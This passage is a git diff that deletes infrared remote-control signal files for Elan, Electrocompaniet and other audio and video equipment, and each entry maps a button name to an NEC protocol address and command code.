parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir deleted file mode 100644 index 4e161cb03..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/1,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RELAY_1_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: RELAY_2_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: RELAY_3_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: RELAY_4_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: RELAY_5_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: RELAY_6_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: LOOP_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: ZONE_GROUPING_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: WHOLE_HOUSE_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: RELAY_1_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: RELAY_2_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: RELAY_3_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: RELAY_4_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: RELAY_5_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: RELAY_6_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir deleted file mode 100644 index 75c09449b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/5,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: LASER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: AUX_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: AUX_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: AUX_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir deleted file mode 100644 index fdf26965d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: DND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: TREB_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: SOURCE_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: SOURCE_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: SOURCE_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: SOURCE_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: SOURCE_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: EQ_FLAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: WHOLEHOUSE_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: WHM_ON_(GROUP) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: LOUDNESS_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: SPATIAL_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: SPATIAL_ENHANCE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: TREB_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: SOURCE_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: WHOLEHOUSE_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: WHM_OFF_(UNGROUP) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: SYSTEM_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: SYSTEM_ALL_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir deleted file mode 100644 index 884dede05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: XM1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: XM2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: XM3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 23 00 00 00 -# -name: DIR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir deleted file mode 100644 index 1ed9b3d41..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Tuner/129,115.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 07 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0A 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0B 00 00 00 -# -name: TUNING/_PRESET_UP -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0C 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0C 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0C 00 00 00 -# -name: TUNING/_PRESET_DOWN -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0D 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0D 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0D 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0E 00 00 00 -# -name: PRRESET_SELECT -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0F 00 00 00 -# -name: PRESET_SELECT -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 0F 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 10 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 16 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 16 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 17 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 18 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 19 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1E 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 1F 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 4A 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 4B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 4E 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 50 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 51 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 53 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 54 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 56 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 57 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 58 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 59 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5E 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 81 73 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir deleted file mode 100644 index ed8814f08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Controller/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: Z1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: Z2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Z3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Z4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: Z5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: Z6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Z7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: Z8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: MAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: S1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: S2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: S3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: S4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: S5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: S6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: S7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: S8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir deleted file mode 100644 index 0ae3bbfe8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: O9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: O10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: O1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: O2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: O3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: O4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: O13 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: O5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: O6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: O7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: O8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: O14 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: O11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: O12 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: O15 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: MANUAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: I1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: I2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: I3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: I4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: I5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: I6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: I7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: I8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: O16 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir deleted file mode 100644 index b408499ea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: O17 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: O18 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: O19 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: O20 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: O21 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: O22 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: O23 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: O24 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir deleted file mode 100644 index 0e97ef55a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/0,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir deleted file mode 100644 index 76e9aa2fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/1,241.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 F1 00 00 -command: 53 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 F1 00 00 -command: 55 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 F1 00 00 -command: 59 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 F1 00 00 -command: 5A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 F1 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir deleted file mode 100644 index 5e369d665..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Volume Control/255,15.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ID2 -type: parsed -protocol: NECext -address: FF 0F 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir deleted file mode 100644 index 7d7a9cb3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: FAST -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir deleted file mode 100644 index f22d69c5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir deleted file mode 100644 index 467d51e9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP_COMMAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir deleted file mode 100644 index 717754b78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 